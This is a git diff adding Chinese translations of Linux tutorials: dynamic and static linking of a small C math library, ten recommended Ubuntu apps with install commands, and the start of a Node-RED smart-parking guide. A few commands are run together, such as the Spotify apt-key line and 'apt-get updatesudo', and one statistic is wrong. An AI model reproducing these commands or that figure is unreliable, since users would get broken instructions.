+链接器通过这些功能,创建了一个名为可执行文件executable的可以运行的程序。在你创建一个动态链接的可执行文件前,你需要一些用来链接的库,和一个用来编译的应用程序。准备好你 [最喜欢的文本编辑器][2] 并继续。 + +### 创建目标文件 + +首先,创建带有这些函数签名的头文件 `mymath.h` : + +``` +int add(int a, int b); +int sub(int a, int b); +int mult(int a, int b); +int divi(int a, int b); +``` + +使用这些函数定义来创建 `add.c` 、`sub.c` 、`mult.c` 和 `divi.c` 文件。我将把所有的代码都放置到一个代码块中,请将其分为四个文件,如注释所示: + +``` +// add.c +int add(int a, int b){ +return (a+b); +} + +//sub.c +int sub(int a, int b){ +return (a-b); +} + +//mult.c +int mult(int a, int b){ +return (a*b); +} + +//divi.c +int divi(int a, int b){ +return (a/b); +} +``` + +现在,使用 GCC 来创建目标文件 `add.o`、`sub.o`、`mult.o` 和 `divi.o` : + +(LCTT 校注:关于“目标文件object file”,有时候也被称作“对象文件”,对此,存在一些译法混乱情形,称之为“目标文件”的译法比较流行,本文采用此译法。) + +``` +$ gcc -c add.c sub.c mult.c divi.c +``` + +`-c` 选项跳过链接步骤,并且只创建目标文件。 + +### 创建一个共享的目标文件 + +在最终的可执行文件的执行过程中将链接动态库。在最终的可执行文件中仅放置动态库的名称。实际上的链接过程发生在运行时,在此期间,可执行文件和库都被放置到了主内存中。 + +除了可共享外,动态库的另外一个优点是它减少了最终的可执行文件的大小。在一个应用程序最终的可执行文件生成时,其使用的库只包括该库的名称,而不是该库的一个多余的副本。 + +你可以从你现有的示例代码中创建动态库: + +``` +$ gcc -Wall -fPIC -c add.c sub.c mult.c divi.c +``` + +选项 `-fPIC` 告诉 GCC 来生成位置无关的代码position-independent code(PIC)。`-Wall` 选项不是必需的,并且与代码的编译方式是无关的。不过,它却是一个有价值的选项,因为它会启用编译器警告,这在排除故障时是很有帮助的。 + +使用 GCC ,创建共享库 `libmymath.so` : + +``` +$ gcc -shared -o libmymath.so add.o sub.o mult.o divi.o +``` + +现在,你已经创建了一个简单的示例数学库 `libmymath.so` ,你可以在 C 代码中使用它。当然,也有非常复杂的 C 库,这就是他们这些开发者来生成最终产品的工艺流程,你和我可以安装这些库并在 C 代码中使用。 + +接下来,你可以在一些自定义代码中使用你的新数学库,然后链接它。 + +### 创建一个动态链接的可执行文件 + +假设你已经为数学运算编写了一个命令。创建一个名称为 `mathDemo.c` 的文件,并将这些代码复制粘贴至其中: + +``` +#include +#include +#include + +int main() +{ + int x, y; + printf("Enter two numbers\n"); + scanf("%d%d",&x,&y); + + printf("\n%d + %d = %d", x, y, add(x, y)); + printf("\n%d - %d = %d", x, y, sub(x, y)); + printf("\n%d * %d = %d", x, y, mult(x, y)); + + if(y==0){ + printf("\nDenominator is zero so can't perform division\n"); + exit(0); + }else{ + printf("\n%d / %d = %d\n", x, y, divi(x, y)); + return 0; + } +} +``` + +注意:第一行是一个 `include` 语句,通过名称来引用你自己的 `libmymath` 库。要使用一个共享库,你必须已经安装了它,如果你没有安装你将要使用的库,那么当你的可执行文件在运行并搜索其包含的库时,将找不到该共享库。如果你需要在不安装库到已知目录的情况下编译代码,这里有 [一些方法可以覆盖默认设置][3]。不过,对于一般使用来说,我们希望库存在于已知的位置,因此,这就是我在这里演示的东西。 + +复制文件 `libmymath.so` 到一个标准的系统目录,例如:`/usr/lib64`, 然后运行 `ldconfig` 。`ldconfig` 命令创建所需的链接,并缓存到标准库目录中发现的最新共享库。 + +``` +$ sudo cp libmymath.so /usr/lib64/ +$ sudo ldconfig +``` + +### 编译应用程序 + +从你的应用程序源文件代码(`mathDemo.c`)中创建一个名称为 `mathDemo.o` 的目标文件: + +``` +$ gcc -I . -c mathDemo.c +``` + +`-I` 选项告诉 GCC 来在其后所列出的目录中搜索头文件(在这个示例中是 `mymath.h`)。在这个示例中,你指定的是当前目录,通过一个单点(`.`)来表示。创建一个可执行文件,使用 `-l` 选项来通过名称来引用你的共享数学库: + +``` +$ gcc -o mathDynamic mathDemo.o -lmymath +``` + +GCC 会找到 `libmymath.so` ,因为它存在于一个默认的系统库目录中。使用 `ldd` 来查证所使用的共享库: + +``` +$ ldd mathDemo + linux-vdso.so.1 (0x00007fffe6a30000) + libmymath.so => /usr/lib64/libmymath.so (0x00007fe4d4d33000) + libc.so.6 => /lib64/libc.so.6 (0x00007fe4d4b29000) + /lib64/ld-linux-x86-64.so.2 (0x00007fe4d4d4e000) +``` + +看看 `mathDemo` 可执行文件的大小: + +``` +$ du ./mathDynamic +24 ./mathDynamic +``` + +当然,它是一个小的应用程序,它所占用的磁盘空间量也反映了这一点。相比之下,相同代码的一个静态链接版本(正如你将在我后期的文章所看到的一样)是 932K ! + +``` +$ ./mathDynamic +Enter two numbers +25 +5 + +25 + 5 = 30 +25 - 5 = 20 +25 * 5 = 125 +25 / 5 = 5 +``` + +你可以使用 `file` 命令来查证它是动态链接的: + +``` +$ file ./mathDynamic +./mathDynamic: ELF 64-bit LSB executable, x86-64, +dynamically linked, +interpreter /lib64/ld-linux-x86-64.so.2, +with debug_info, not stripped +``` + +成功! + +### 动态链接 + +因为链接发生在运行时,所以,使用一个共享库会产生一个轻量型的可执行文件。因为它在运行时解析引用,所以它会花费更多的执行时间。不过,因为在日常使用的 Linux 系统上绝大多数的命令是动态链接的,并且在现代硬件上,所能节省的时间是可以忽略不计的。对开发者和用户来说,它的固有模块性是一种强大的功能。 + +在这篇文章中,我描述了如何创建动态库,并将其链接到一个最终可执行文件。在我的下一篇文章中,我将使用相同的源文件代码来创建一个静态链接的可执行文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/links.png +[2]: https://opensource.com/article/21/2/open-source-text-editors +[3]: https://opensource.com/article/22/5/compile-code-ldlibrarypath diff --git a/published/202207/20220603 How static linking works on Linux.md b/published/202207/20220603 How static linking works on Linux.md new file mode 100644 index 0000000000..df4d8a2a21 --- /dev/null +++ b/published/202207/20220603 How static linking works on Linux.md @@ -0,0 +1,218 @@ +[#]: subject: "How static linking works on Linux" +[#]: via: "https://opensource.com/article/22/6/static-linking-linux" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14819-1.html" + +Linux 上静态链接库工作原理 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/12/120441y0q5a5abfyjyy7ug.jpg) + +> 学习如何用静态链接库将多个 C 目标文件结合到一个单个的可执行文件之中。 + +使用 C 编写的应用程序时,通常有多个源码文件,但最终你需要编译成单个的可执行文件。 + +你可以通过两种方式来完成这项工作:通过创建一个 静态static 库 或 一个 动态dynamic 库(也被称为 共享shared 库)。从创建和链接的方式来看,它们是两种不同类型的库。选择使用哪种方式取决于你的的具体场景。 + +在 [上一篇文章][3] 中,我演示了如何创建一个动态链接的可执行文件,这是一种更通用的方法。在这篇文章中,我将说明如何创建一个静态链接的可执行文件。 + +### 使用静态库链接器 + +链接器linker是一个命令,它将一个程序的多个部分结合在一起,并为它们重新组织内存分配。 + +链接器的功能包括: + +* 整合一个程序的所有的部分 +* 计算出一个新的内存组织结构,以便所有的部分组合在一起 +* 恢复内存地址,以便程序可以在新的内存组织结构下运行 +* 解析符号引用 + +链接器通过这些功能,创建了一个名称为可执行文件的一个可运行程序。 + +静态库是通过复制一个程序中的所有依赖库模块到最终的可执行镜像来创建的。链接器将链接静态库作为编译过程的最后一步。可执行文件是通过解析外部引用、将库例程与程序代码结合在一起来创建的。 + +### 创建目标文件 + +这里是一个静态库的示例以及其链接过程。首先,创建带有这些函数识别标志的头文件 `mymath.h` : + +``` +int add(int a, int b); +int sub(int a, int b); +int mult(int a, int b); +int divi(int a, int b); +``` + +使用这些函数定义来创建 `add.c` 、`sub.c` 、`mult.c` 和 `divi.c` 文件。我将把所有的代码都放置到一个代码块中,请将其分为四个文件,如注释所示: + +``` +// add.c +int add(int a, int b){ +return (a+b); +} + +//sub.c +int sub(int a, int b){ +return (a-b); +} + +//mult.c +int mult(int a, int b){ +return (a*b); +} + +//divi.c +int divi(int a, int b){ +return (a/b); +} +``` + +现在,使用 GCC 来生成目标文件 `add.o` 、`sub.o` 、`mult.o` 和 `divi.o`: + +(LCTT 校注:关于“目标文件object file”,有时候也被称作“对象文件”,对此,存在一些译法混乱情形,称之为“目标文件”的译法比较流行,本文采用此译法。) + +``` +$ gcc -c add.c sub.c mult.c divi.c +``` + +`-c` 选项跳过链接步骤,而只创建目标文件。 + +创建一个名称为 `libmymath.a` 的静态库,接下来,移除目标文件,因为它们不再被需要。(注意,使用一个 `trash` 命令比使用一个 `rm` 命令更安全。) + +``` +$ ar rs libmymath.a add.o sub.o mult.o divi.o +$ trash *.o +$ ls +add.c  divi.c  libmymath.a  mult.c  mymath.h  sub.c +``` + +现在,你已经创建了一个名称为 `libmymath` 的简单数学示例库,你可以在 C 代码中使用它。当然,也有非常复杂的 C 库,这就是他们这些开发者来生成最终产品的工艺流程,你和我可以安装这些库并在 C 代码中使用。 + +接下来,在一些自定义代码中使用你的数学库,然后链接它。 + +### 创建一个静态链接的应用程序 + +假设你已经为数学运算编写了一个命令。创建一个名称为 `mathDemo.c` 的文件,并将这些代码复制粘贴至其中: + +``` +#include +#include +#include + +int main() +{ +  int x, y; +  printf("Enter two numbers\n"); +  scanf("%d%d",&x,&y); +  +  printf("\n%d + %d = %d", x, y, add(x, y)); +  printf("\n%d - %d = %d", x, y, sub(x, y)); +  printf("\n%d * %d = %d", x, y, mult(x, y)); + +  if(y==0){ +    printf("\nDenominator is zero so can't perform division\n"); +      exit(0); +  }else{ +      printf("\n%d / %d = %d\n", x, y, divi(x, y)); +      return 0; +  } +} +``` + +注意:第一行是一个 `include` 语句,通过名称来引用你自己的 `libmymath` 库。 + +针对 `mathDemo.c` 创建一个名称为 `mathDemo.o` 的对象文件: + +``` +$ gcc -I . -c mathDemo.c +``` + +`-I` 选项告诉 GCC 搜索在其后列出的头文件。在这个实例中,你通过单个点(`.`)来指定当前目录。 + +链接 `mathDemo.o` 和 `libmymath.a` 来生成最终的可执行文件。这里有两种方法来向 GCC 告知这一点。 + +你可以指向文件: + +``` +$ gcc -static -o mathDemo mathDemo.o libmymath.a +``` + +或者,你可以具体指定库的路径及名称: + +``` +$ gcc -static -o mathDemo -L . mathDemo.o -lmymath +``` + +在后面的那个示例中,`-lmymath` 选项告诉链接器来链接对象文件 `mathDemo.o` 和对象文件 `libmymath.a` 来生成最终的可执行文件。`-L` 选项指示链接器在下面的参数中查找库(类似于你使用 `-I` 所做的工作)。 + +### 分析结果 + +使用 `file` 命令来验证它是静态链接的: + +``` +$ file mathDemo +mathDemo: ELF 64-bit LSB executable, x86-64... +statically linked, with debug_info, not stripped +``` + +使用 `ldd` 命令,你将会看到该可执行文件不是动态链接的: + +``` +$ ldd ./mathDemo +        not a dynamic executable +``` + +你也可以查看 `mathDemo` 可执行文件的大小: + +``` +$ du -h ./mathDemo +932K    ./mathDemo +``` + +在我 [前一篇文章][3] 的示例中,动态链接的可执行文件只占有 24K 大小。 + +运行该命令来看看它的工作内容: + +``` +$ ./mathDemo +Enter two numbers +10 +5 + +10 + 5 = 15 +10 - 5 = 5 +10 * 5 = 50 +10 / 5 = 2 +``` + +看起来令人满意! + +### 何时使用静态链接 + +动态链接可执行文件通常优于静态链接可执行文件,因为动态链接会保持应用程序的组件模块化。假如一个库接收到一次关键安全更新,那么它可以很容易地修补,因为它存在于应用程序的外部。 + +当你使用静态链接时,库的代码会“隐藏”在你创建的可执行文件之中,意味着在库每次更新时(相信我,你会有更好的东西),仅有的一种修补方法是重新编译和发布一个新的可执行文件。 + +不过,如果一个库的代码,要么存在于它正在使用的具有相同代码的可执行文件中,要么存在于不会接收到任何更新的专用嵌入式设备中,那么静态连接将是一种可接受的选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/static-linking-linux + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://linux.cn/article-14813-1.html +[4]: https://www.redhat.com/sysadmin/recover-file-deletion-linux +[5]: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux diff --git a/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md b/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md new file mode 100644 index 0000000000..e7fd03308c --- /dev/null +++ b/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md @@ -0,0 +1,253 @@ +[#]: subject: "10 Best Ubuntu Apps for Everyone in 2022 [Part 2]" +[#]: via: "https://www.debugpoint.com/best-ubuntu-apps-2022-part2/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14816-1.html" + +10 大必备 Ubuntu 应用:优选篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/11/180521obse00404niahjof.jpg) + +> 本文列出了 2022 年可以用于不同情况的 10 个 Ubuntu 优选应用。 + +如果你计划永久的转移到 Linux 系统上,你应该会很高兴地知道在 Linux 上有数以千计的能与商业或付费应用媲美的应用。如果你是第一次使用 Linux 的 Windows 用户,你可能都没有听说过这些应用。 + +因此,在这一系列文章中,我们每一篇重点介绍一组 Ubuntu 应用,以增加 Linux 用户们的协作和认识。 + +这是 Ubuntu 应用程序系列的第二篇文章,如果你错过了其他部分,可以在这里阅读: + +* [第一篇][1] + +### 1、OBS Studio + +第一个应用是著名的 [流媒体应用][3] —— OBS Studio 。这是一款自由开源的应用,主要用于互联网上的流媒体应用。此外,你可以使用该应用创建一个复杂的流媒体项目,包括多源、覆盖式横幅等功能。 + +而且,由于它能够支持“实时消息传输协议Real-Time Messaging Protocol”(RTMP),你可以使用它在 Facebook、Youtube、Twitch 以及其他支持的平台上进行流式传输。 + +这个有十年历史的应用程序是 Linux 上最好的应用程序之一。 + +![OBS Studio][4] + +你可以在 [OBS Studio 官网][5] 了解更多的信息并下载,或者通过以下方式安装。 + +通过 PPA 在 Ubuntu 和相关发行版上安装: + +``` +sudo add-apt-repository ppa:obsproject/obs-studio +sudo apt update +sudo apt install obs-studio +``` + +如果你希望通过 Flatpak 安装 ,首先 [为 Flatpak 设置系统][6] 然后 [通过这个页面安装][7] 。 + +在 Arch Linux 或者其他 Linux 版本,访问 [此页面][8] 了解。 + +#### 2、Inkscape + +这里介绍的第二款应用是流行的 Inkscape。 Inkscape 是一个自由开源的矢量图形编辑软件。它主要用于创建可缩放的矢量图形(SVG)。此外,它是一款一流的应用,可以使用基本的矢量形状如矩形、多边形、螺旋形等。你可以使用这些基本图形以及辅助工具(见下文)创作一流的绘图。 + +此外,只要你有足够的技能,就可以使用 Inkscape 创作出 [绝妙的动画][9] 。这是艺术家必备的一款应用。 + +![Sample Image – credit-Inkscape][10] + +![Inkscape][11] + +你可以在 [Inkscape 官网][12] 下载并了解更多相关信息,或者通过以下方式下载。 + +通过 PPA 在 Ubuntu 和相关发行版上安装: + +``` +sudo add-apt-repository ppa:inkscape.dev/stable +sudo apt update +sudo apt install inkscape +``` + +更多下载方式可以查看 [此页面][13] 。 + +#### 3、GIMP + +GIMP 是 “GNU 图像操作程序GNU Image Manipulation Program”的缩写,它是一个光栅图形编辑器,它有时候被视作 Linux 平台上的 [Photoshop 替代品][14](值得商榷)。这款拥有 20 年历史的应用适合于从基础到高级的图像编辑。此外,它支持图层、滤镜、装饰和其它对摄影工作必不可少的高级图像编辑功能。 + +![GIMP Image Editor][15] + +[官方主页][16] 是你了解更多关于 GIMP 的知识的最好的途径,可以在官网下载或者通过以下方式安装。 + +我推荐的方式是通过 Flatpak 下载最新版本 GIMP 。你可以为 Flatpak 设置 [你的系统][17] 然后 [通过该页面安装][18] 。 + +[该页面][19] 提供了更多下载选项。 + +#### 4、Spotify + +Spotify 是一家专业提供音频流媒体和媒体服务的提供商。它是最广泛的音乐流媒体服务之一,有超过 400 万的月活用户。 + +首先,你需要安装客户端才能获取 Spotify 流媒体服务。其次,如果你是移动用户,你可以通过 Google Play 商店或者苹果应用商店获取 Spotify 应用。 + +在 Linux 上安装桌面客户端后你可以收听上百万首歌曲。你可以为不同的 Linux 发行版通过不同的方式安装 Spotify 。 + +![Spotify Client in Ubuntu][20] + +推荐你在 Ubuntu 或者其他 Linux 上使用 Snap 来安装,你可以通过以下命令安装: + +``` +snap install spotify +``` + +如果你偏爱原始的 deb 包,你可以通过以下命令安装: + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | sudo apt-key add -echo "deb http://repository.spotify.com stable non-free" | sudo tee /etc/apt/sources.list.d/spotify.list +``` + +你也可以使用非官方 [Flatpak 包][21] 进行安装。 + +#### 5、SimpleScreenRecorder + +SimpleScreenRecorder 可能是最好的开源截屏工具。该应用程序易于使用并提供了各种功能。并且,其独特的 3 步录制屏幕的方法完全不需要学习。此外,你可以选择整个屏幕、窗口或自定义形状来记录屏幕。 + +此外,你还可以指定音频/视频比特率、音频源选项和不同的输出选项。最后,它可以安装在所有 Linux 发行版中。 + +![SimpleScreenRecorder][22] + +[官方页面][23] 囊括了更多的 SimpleScreenRecorder 信息,你也可以使用如下方式下载。 + +在 Ubuntu 或其他相关发行版中使用下面的 PPA 命令安装该应用: + +``` +sudo apt-get updatesudo apt-get install simplescreenrecorder +``` + +访问 [此页][24] 获取更多下载版本。 + +#### 6、Calibre + +Calibre 是一款可以在 Ubuntu、Linux Mint 以及其他 Linux 平台使用的自由开源的电子书库管理应用程序。它拥有书库管理、电子书格式转换、同步你的电子书设备以及其他独特的功能。你可以下载新闻和其他互联网上的文章,并可以使用 Calibre 转换成电子书格式。同时,它支持多种电子书格式进行管理。Calibre 是一款具有这些功能最好的电子书管理应用程序之一。 + +![Calibre][25] + +[Calibre 主页][26] 提供了很多文件以及指导手册,你也可以使用以下方式下载。 + +* [下载 Linux 版本][27] +* [下载其他系统版本][28] + +#### 7、Scribus + +多年来,桌面出版已经发生了变化。现今,仍有一些桌面出版的应用程序和基于网页的服务。Scribus 是早期的一款自由开源的桌面出版应用程序,可以在 Linux 发行版和其他操作系统中使用。此外,它基于 Qt,并带来了吸引人的用户界面,让你可以马上投入学习。此外,初学者和专业人士都可以使用它来创建令人惊叹的 DTP 页面。 + +并且它仍然在积极开发中。 + +![Scribus][29] + +你可以在 Scribus 的 [官方页面][30] 了解更多信息并下载,或者通过以下方式安装。 + +Scribus 位于 Ubuntu 和其他相关发行版的主要存储库中。你可以运行以下命令进行安装: + +``` +sudo apt install scribus +``` + +[该页面][31] 提供了其他下载选项。 + +#### 8、MyPaint + +第八个应用程序是 MyPaint 。MyPaint 是一个自由开源的绘图程序,适用于数字艺术家。MyPaint 支持并可用于压感平板电脑和设备。其独特的无干扰设计可以让你专注于绘图而不是应用程序。此外,它还带来了真实铅笔和画笔的仿真,提供了各种画笔、颜色和图层。 + +![MyPaint 2.0.1][32] + +浏览 MyPaint 的 [官方页面][33] 获取更多信息,可以使用以下方式下载。 + +推荐使用 Flatpak 安装 。你可以为 Flatpak 设置 [系统][34] 然后 [通过该页面安装][35] 。 + +[该页面][36] 提供了其他下载选项。 + +#### 9、LibreOffice + +如果有任何专业的办公套件可以和市场领导者微软 Office 相媲美,那一定是文档基金会的 LibreOffice 了 。它是所有 Linux 发行版的默认办公套件。它带有电子表格程序(Calc)、文字处理器(Writer)、演示文稿(Impress)和用来绘图的 Draw。此外,它还带来了一个数据库系统 (Base)和用来撰写数学公式的 Math。 + +除此之外, LibreOffice 提供两个版本。其一是社区版,用于社区和一般用途,并带有最新的功能和更新。第二是商务版,也称企业版,更稳定,更适合专业工作。 + +LibreOffice 办公套件已默认安装在 Ubuntu 上。 + +![LibreOffice 7.3.x Community Edition in Ubuntu 22.04 LTS Jammy Jellyfish][37] + +[LibreOffice 的官方文档][38] 很庞大,你可以通过各种方式浏览它们,包括在它 [友好的论坛][39] 。你可以 [从此处][40] 下载 LibreOffice。 + +如果你也想升级 LibreOffice ,你可以访问 [这里][41] 。 + +#### 10、Cawbird + +如果你是重度 Twitter 用户,你或许应考虑一款桌面应用。 Cawbird 是一款 Linux 发行版上的 Twitter 桌面程序。它是 Corebird 应用(已停止维护)的复刻,Cawbird 带来了内嵌图片、视频预览、列表支持等。此外,它可以在 Twitter 上进行全文搜索,并支持多个 Twitter 帐户。 + +但是,由于 Twitter API 的限制,它只能每两分钟刷新一次,此外,还有一些其他限制,例如没有关注和取消关注的通知、阻止、静音和其他功能。Twitter 强加了这些限制。 + +![Cawbird][42] + +最后,你可以通过 [该链接][43] 在任何 Linux 发行版上下载 Cawbird 。 + +### 结语 + +这是 2022 年 5 篇系列的必备 Ubuntu 应用程序的第 2 篇。通过以上信息,我希望你可以选择一些应用供你的日常使用。在下面的评论框中告诉我你更喜欢此列表中的哪些应用程序。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 3 部分。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-ubuntu-apps-2022-part2/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[2]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ +[3]: https://www.debugpoint.com/2022/02/live-streaming-applications-linux-2022/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/OBS-Studio.jpg +[5]: https://obsproject.com/ +[6]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[7]: https://flathub.org/apps/details/com.obsproject.Studio +[8]: https://obsproject.com/wiki/unofficial-linux-builds +[9]: https://inkscape.org/gallery/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/06/Sample-Image-credit-Inkscape.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2018/09/Inkscape-Running.png +[12]: https://inkscape.org/ +[13]: https://inkscape.org/release/ +[14]: https://www.debugpoint.com/2018/09/3-best-free-photoshop-alternatives-ubuntu-linux/ +[15]: https://www.debugpoint.com/wp-content/uploads/2018/09/GIMP-Running.png +[16]: https://www.gimp.org/ +[17]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[18]: https://flathub.org/repo/appstream/org.gimp.GIMP.flatpakref +[19]: https://www.gimp.org/downloads/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/06/Spotify-Client-in-Ubuntu.jpg +[21]: https://flathub.org/apps/details/com.spotify.Client +[22]: https://www.debugpoint.com/wp-content/uploads/2022/06/SimpleScreenRecorder.jpg +[23]: https://www.maartenbaert.be/simplescreenrecorder/ +[24]: https://www.maartenbaert.be/simplescreenrecorder/#download +[25]: https://www.debugpoint.com/wp-content/uploads/2019/11/Calibre.png +[26]: https://calibre-ebook.com/ +[27]: https://calibre-ebook.com/download_linux +[28]: https://calibre-ebook.com/download +[29]: https://www.debugpoint.com/wp-content/uploads/2022/06/Scribus.jpg +[30]: https://www.scribus.net/ +[31]: https://www.scribus.net/downloads/stable-branch/ +[32]: https://www.debugpoint.com/wp-content/uploads/2020/05/MyPaint-2.0.1.png +[33]: http://mypaint.org/ +[34]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[35]: https://flathub.org/repo/appstream/org.mypaint.MyPaint.flatpakref +[36]: http://mypaint.org/downloads/ +[37]: https://www.debugpoint.com/wp-content/uploads/2019/09/LibreOffice-7.3.x-Community-Edition-in-Ubuntu-22.04-LTS-Jammy-Jellyfish.jpg +[38]: https://help.libreoffice.org/latest/index.html +[39]: https://ask.libreoffice.org/ +[40]: https://www.libreoffice.org/download/download/ +[41]: https://www.debugpoint.com/2022/06/libreoffice-upgrade-update-latest/ +[42]: https://www.debugpoint.com/wp-content/uploads/2022/06/Cawbird.jpg +[43]: https://software.opensuse.org//download.html?project=home%3AIBBoard%3Acawbird&package=cawbird +[44]: https://www.debugpoint.com/essential-ubuntu-apps-2022-part-1/ +[45]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ diff --git a/published/202207/20220614 Build a Smart Parking System for a Metro Station.md b/published/202207/20220614 Build a Smart Parking System for a Metro Station.md new file mode 100644 index 0000000000..f218f0956a --- /dev/null +++ b/published/202207/20220614 Build a Smart Parking System for a Metro Station.md @@ -0,0 +1,158 @@ +[#]: subject: "Build a Smart Parking System for a Metro Station" +[#]: via: "https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/" +[#]: author: "Dr Maheswari R. https://www.opensourceforu.com/author/dr-maheswari-r/" +[#]: collector: "lkxed" +[#]: translator: "Maisie-x" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14881-1.html" + +为地铁站构建一个智能停车系统 +====== + +> 本文将帮助你设计一个基于 Web 的应用程序,使用 Node-RED 为地铁站的汽车提供一个自动智能停车系统。 + +![Smart car parking][1] + +Web 应用程序是在 Web 服务器上运行的软件。终端用户通过 Web 浏览器访问 Web 应用程序。Web 应用程序使用客户端—服务器(C/S)架构进行编程,该架构是用户(客户端)通过远程服务器(可能由第三方托管)提供服务。Web API(应用程序编程接口)在整个 Web 上是可用的,用户可以通过 HTTP 协议访问该接口,如图 1 所示。 + +![Figure 1: Web API][4] + +本文将演示如何为地铁设计一个基于 Web 的汽车自动智能停车系统。 它是使用开源的 Node-RED 设计。该系统使用模板节点创建了一个交互式的、时尚的用户登录表单,用 HTML 和 CSS 编码以获取车主的详细信息,从而实现停车系统的自动化。我们可以在图 2 和图 3 看到登录表单和提交表单的流程图。 + +使用的节点如下: + +![table function][3] + +### 地铁智能停车节点流程设计 + +Node-RED 由 `node-red` 命令激活。访问网址 `http://127.0.0.1:1880/` 可以看到 Node-RED 用户界面流程浏览器已经启用,可以认为 Node-RED 设置已完成,可以正常工作了。 + +按照下面给出的步骤创建登录表单和提交表单。 + +![Figure 2: Login form flow diagram][5] + +![Figure 3: Submission form flow diagram][6] + +### 登录表单 + +1、在节点画布中,拖放 http 输入http in 节点,这会为创建 Web 服务创建一个 HTTP 访问点。 + +2、将 http 输入http in 节点连接到 函数function 节点。函数节点有助于编写 JavaScript 函数处理节点接收到的消息。 + +![Figure 4: Login form for smart parking for cars][7] + +3、将 函数function 节点连接到 模板template 节点,模板节点基于提供的模板创建一个 Web API。 + +4、将 模板template 节点连接到 http 响应http response 节点,它将响应 http 输入http in 节点的请求。 + +![Figure 5: Submission form for smart parking for cars][8] + +### 提交表单 + +1、拖放 http 输入http in 节点并将其连接到 json 节点,json 节点将数据转换为 JSON 字符串进行通信。 + +2、将 http 输入http in 节点连接到 调试debug 节点,调试节点的调试监控器会输出结果。 + +3、将 json 节点放置并连接到 函数function 节点,将后者连接到 http 响应http response 节点。 + +创建完整流程后,单击 Node-RED 窗口右上角的 部署Deploy 按钮。访问 `http://127.0.0.1:1880/ui/` 这个链接查看用户界面。 + +输入链接然后单击 提交Submit 后,该链接会跳转到下一页,你可以在该页面阅读所有新闻。 + +### Node-RED 工作流程 + +在单个 Node-RED 流程中,你可以创建登录表单和提交表单,如图 4 和图 5 所示。 + +现在我们将配置节点属性。 + +#### 登录表单 + +编辑 http 输入http in 属性: + +- 方法method 选择 “Get” +- 网址URL 设为 `/MetroStation` +- 名称name 配置为 “智能停车系统Smart Parking”。 + +(LCTT 译注:下文 http 响应节点的名称为 Smart parking,p 字母小写,为了区分,此处中文翻译成智能停车系统。) + +![Figure 6: Http in node property configurations][9] + +> 注意:URL 可以使用任何用户定义的本地变量。 + +现在选择 函数function 节点,编辑函数节点属性:输入代码 `msg.url = project` ,并配置代码 名称name 字段为 “项目提交Project Submission”。 + +![Figure 7: Function node property configurations][10] + +在 模板template 节点的属性窗口,为登录表单配置相应的 HTML 代码,并将代码 名称name 命名为 “显示面板Display panel”。在此流程使用了 Mustache 模板格式(LCTT 译注:Mustache 是胡子的意思,因为它的嵌入标记 `{{ }}` 非常像胡子)。Mustache 是一个简单的 Web 模板系统,被描述为无逻辑的模板引擎。Mustache 没有任何显式的控制流语句,例如 `if` 和 `else` 条件和 `for` 循环。可以通过使用块标签处理列表和lambdas 来实现循环和条件评估。 + +![Figure 8: Template node property configurations][11] + +配置编辑 http 响应http response 节点的属性,名称name 设为 “智能停车Smart parking”(图 9) 。 + +![Figure 9: Http response node property configurations][12] + +#### 提交表单 + +在 http 输入http in 节点的编辑属性窗口,方法method 选择 “POST” ,网址URL 设为 `/project`。 + +![Figure 10: Http in node property configurations][13] + +在 JSON 